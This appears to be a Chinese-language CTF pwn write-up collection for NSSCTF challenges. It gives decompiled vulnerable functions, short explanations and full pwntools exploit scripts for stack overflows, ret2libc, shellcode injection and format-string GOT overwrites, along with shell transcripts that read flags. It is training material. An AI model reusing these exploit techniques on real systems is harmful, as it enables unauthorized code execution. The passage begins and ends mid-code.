  return 0;
}
ssize_t choice1()
{
  _BYTE buf[20]; // [esp+8h] [ebp-20h] BYREF
  size_t nbytes[2]; // [esp+1Ch] [ebp-Ch] BYREF

  printf("\x1B[36m Good luck!!!\n\x1B[0m");
  printf("\x1B[5m Tell me your name now!\n\x1B[0m");
  printf("First input the length of your name:");
  __isoc99_scanf("%u", nbytes);
  if ( (int)nbytes[0] > 10 )
  {
    printf("\x1B[31m Are u kidding??\n\x1B[0m");
    exit(-1);
  }
  printf("\x1B[36m What's u name?\n\x1B[0m");
  return read(0, buf, nbytes[0]);
}

发现输入无符号整数，比较适合是int有符号整数，所以存在整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 26538
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
sl("1")
sl("-1")
offset = 0x20 + 4

payload = flat([cyclic(offset)],elf.sym['system'],0xdeaf,next(elf.search(b'/bin/sh\x00')))

sl(payload)
inter()

[HNCTF 2022 Week1]ezcmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[32]; // [rsp+0h] [rbp-50h] BYREF
  char src[44]; // [rsp+20h] [rbp-30h] BYREF
  unsigned int seed; // [rsp+4Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
  puts("GDB-pwndbg maybe useful");
  strcpy(src, "Ayaka_nbbbbbbbbbbbbbbbbb_pluss");
  strcpy(buff, src);
  seed = 1;
  srand(1u);
  enccrypt(buff);
  read(0, buf, 0x1EuLL);
  if ( strncmp(buff, buf, 0x1EuLL) )
  {
    puts("Oh No!You lose!!!");
    exit(0);
  }
  return system("/bin/sh");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
# gdb.attach(p,"b *0x00000000040147A")
sl(flat([p64(0x144678aadc0e4072),p64(0x84b6e81a4c7eb0e2),p64(0xf426588abcee2052),p64(0x0000c8cb2c5e90c2)]))
# pause()
inter()

[HUBUCTF 2022 新生赛]fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+8h] [rbp-68h]
  char format[32]; // [rsp+10h] [rbp-60h] BYREF
  char s[8]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v6; // [rsp+38h] [rbp-38h]
  __int64 v7; // [rsp+40h] [rbp-30h]
  __int64 v8; // [rsp+48h] [rbp-28h]
  __int64 v9; // [rsp+50h] [rbp-20h]
  __int64 v10; // [rsp+58h] [rbp-18h]
  __int16 v11; // [rsp+60h] [rbp-10h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  stream = fopen("flag.txt", "r");
  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0;
  if ( stream )
    fgets(s, 50, stream);
  HIBYTE(v11) = 0;
  while ( 1 )
  {
    puts("Echo as a service");
    gets(format);
    printf(format);
    putchar(10);
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 23522
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
# libc = ELF('./libc-2.23-x64.so')
r()
sl("%12$p%13$p%14$p%15$p%16$p%17$p")

s = p.recvuntil("\n",drop=True).decode('utf-8').split("0x")
for str in s:
    for i in range(len(str) -2,-1,-2):
        byte = str[i:i+2]
        print(chr(int(byte,16)),end="")

[HNCTF 2022 Week1]ezr0p64

1
2
3
4
5
6
7
8
ssize_t vuln()
{
  _BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

  printf("Gift :%p\n", &puts);
  puts("Start your rop.");
  return read(0, buf, 0x200uLL);
}

发现给了一个puts的地址，可以算出system和bin_sh的值，然后rop即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 22626
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
rop = ROP("./pwn")
rdi = rop.find_gadget(['pop rdi'])[0]
ret = rop.find_gadget(['ret'])[0]
rl("Gift :")
puts_addr = int(p.recvuntil("\n",drop=True),16)
success("puts addr: {:#x}".format(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system_addr,bin_sh_addr = get_sb()

offset = 264
payload = flat([cyclic(offset),ret,rdi,bin_sh_addr,system_addr])
# print(puts_addr)
sl(payload)
inter()

[SWPUCTF 2022 新生赛]shellcode？

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  mmap((void *)0x30303000, 0x1000uLL, 7, 50, -1, 0LL);
  read(0, (void *)0x30303000, 0x64uLL);
  MEMORY[0x30303000]();
  return 0;
}

申请权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 20999
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
sh = asm(shellcraft.sh())

sl(sh)
inter()

[HNCTF 2022 WEEK2]ez_backdoor

1
2
3
4
5
6
7
__int64 vuln()
{
  _BYTE buf[256]; // [rsp+0h] [rbp-100h] BYREF

  read(0, buf, 0x140uLL);
  return 0LL;
}

注意一下栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28631
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
rop = ROP("./pwn")
ret = rop.find_gadget(["ret"])[0]
offset = 0x100 + 8
backdoor = elf.sym['backdoor']
payload = flat([cyclic(offset),ret,backdoor])
sl(payload)
inter()

[HUBUCTF 2022 新生赛]singout

1
2
3
4
5
6
7
-> % nc node5.anna.nssctf.cn 23406
Here is your shell !,get you flag
root@pwn:~# tail *
root@pwn:~# sh: 1: flag.txt: not found
root@pwn:~# tail ./*
root@pwn:~# ./flag.txt: 1: ./flag.txt: NSSCTF{a015c1f8-1b81-4fda-8a54-48718370d2e6}: not found
root@pwn:~#

[LitCTF 2023]狠狠的溢出涅~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[91]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int8 v5; // [rsp+6Bh] [rbp-5h]
  int v6; // [rsp+6Ch] [rbp-4h]

  v6 = 0;
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("Leave your message:");
  read(0, buf, 0x200uLL);
  v5 = strlen(buf);
  if ( v5 > 0x50u )
  {
    puts("hacker");
    exit(0);
  }
  puts("Ok,Message Received");
  return 0;
}

发现了strlen​存在\x00​截断，然后打ret2libc即可，由于91注意对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28631
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')

libc = ELF('./libc-2.31.so')
rop = ROP("./pwn")
rdi = rop.find_gadget(['pop rdi'])[0]
ret = rop.find_gadget(['ret'])[0]
info("pop rdi;ret address: {:#x}".format(rdi))
offset = 0x60 + 8
payload1 = flat([ b'\x00'+cyclic(offset-1),rdi,elf.got['puts'],elf.plt['puts'],elf.sym['main']])
sl(payload1)
puts_addr = get_addr()
info("puts addr: {:#x}".format(puts_addr))
libc_base = puts_addr - libc.sym['puts']

system_addr,bin_sh = get_sb()

payload2 = flat([ b'\x00'+cyclic(offset-1),ret,rdi,bin_sh,system_addr])
sl(payload2)

inter()

[HNCTF 2022 Week1]safe_shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
    gdb.attach(p)
    pause()
context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']
if args['DEBUG']:
    context.log_level = 'debug'
if args['REMOTE']:
    p = remote('node5.anna.nssctf.cn', 29291)
else:
    p = process("./pwn")

# elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
s("Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t")
inter()

[LitCTF 2023]口算题卡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32_addr():
return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28778
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 

recv_header = p.recvuntil(b"Have fun!\n")

for x in range(100):
    p.recvuntil(b"What is")
  
    key = p.recvuntil(b"?")
    payload = flat([
        str(eval(key[:-1]))
    ])
    print(eval(key[:-1]))
    p.sendline(payload)
p.interactive()

[HDCTF 2023]pwnner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 vuln()
{
  int v0; // ebx
  char buf[16]; // [rsp+0h] [rbp-50h] BYREF
  _BYTE v3[64]; // [rsp+10h] [rbp-40h] BYREF

  srand(0x39u);
  puts("you should prove that you love pwn,so input your name:");
  read(0, buf, 0x10uLL);
  v0 = atoi(buf);
  if ( v0 == rand() )
  {
    puts("ok,you have a little cognition about pwn,so what will you do next?");
    read(0, v3, 0x100uLL);
  }
  else
  {
    puts("sorry,you are not a real pwnner");
  }
  return 0LL;
}

srand是伪随机数

1
2
3
4
5
6
#include <stdio.h>
int main(){
      srand(0x39u);
      printf("%d",rand());
      return 0;
}

编译发现，一直输出

1956681178

所以即可栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32_addr():
return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 24121
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
data = subprocess.run('./main',shell=True,stdout=subprocess.PIPE).stdout
sl(data)
offset = 0x40 + 8
payload = cyclic(offset) + p64(elf.sym['get_shell']+1)
sl(payload)
inter()

11.10

[MoeCTF 2022]shell

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts("Welcome to PWN world!");
  puts("In PWN, your goal is to get shell.");
  puts("Here I'll give you the shell as a gift for our first meeting.");
  puts("Have fun in the following trip!");
  system("/bin/sh");
  return 0;
}

直接连接即可

[HGAME 2023 week1]easy_overflow

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

  close(1);
  read(0, buf, 0x100uLL);
  return 0;
}
int b4ckd0or()
{
  return system("/bin/sh");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 24254
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
offset = 0x10 + 8
payload = flat([cyclic(offset),0x00000000040117B])
sl(payload)
inter()
1
2
$ cat flag>&2
NSSCTF{2e156d0c-2961-4dae-bbd5-12f743d1cf1e}

​exec 1>&0​输出重定向

[UUCTF 2022 新生赛]babystack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
  fflush(stdin);
  fflush(stdout);
  fflush(stderr);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  vuln();
  return 0;
}
int vuln()
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  puts("Welcome to UUCTF!");
  puts("What's your name?");
  read(0, buf, 0x200uLL);
  return printf("Hello, %s\n", buf);
}
int back_door()
{
  puts("It's so easy for you!\n");
  return system("/bin/sh");
}

注意栈对齐即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
offset = 0x100 + 8
payload = flat([cyclic(offset),ret,elf.sym['back_door']])
sl(payload)
inter()

[MoeCTF 2021]ret2text_ez

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  vuln();
  return 0;
}
ssize_t vuln()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x32uLL);
}
int backdoor()
{
  puts("Congratulations!You get it!!!");
  return system("/bin/sh");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 20078
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
offset = 0x20 + 8
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]

sl(flat([cyclic(offset),0x00000000004011AA]))
inter()

[MoeCTF 2022]babyfmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *s; // [esp+18h] [ebp-110h]
  char buf[256]; // [esp+1Ch] [ebp-10Ch] BYREF
  unsigned int v5; // [esp+11Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  s = (char *)malloc(0x10u);
  sprintf(s, "%p", backdoor);
  printf("gift: %p\n", s);
  while ( 1 )
  {
    memset(buf, 0, sizeof(buf));
    read(0, buf, 0xFFu);
    printf(buf);
  }
}

注意对齐，将printf的got表修改为backdoor的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr():return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
 
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
rl("gift: ")
backdoor = int(p.recvuntil("\n",drop=True).decode("utf-8"),16)
# AAAA 0xffa0d9bc 0xff (nil) 0xf7f936d0 0x3055e4 0xffa0d9d0 0xffa0db94 0xffa0da64 0xf7f8b780 0x8ed61a0 0x41414141 0x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250xa7025(nil)(nil)
payload = fmtstr_payload(11, { elf.got['printf']: 0x0804859C})
sl(payload)
inter()

[SWPUCTF 2022 新生赛]Darling

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _DWORD v4[2]; // [rsp+Ch] [rbp-14h] BYREF
  int v5; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  pic();
  darling();
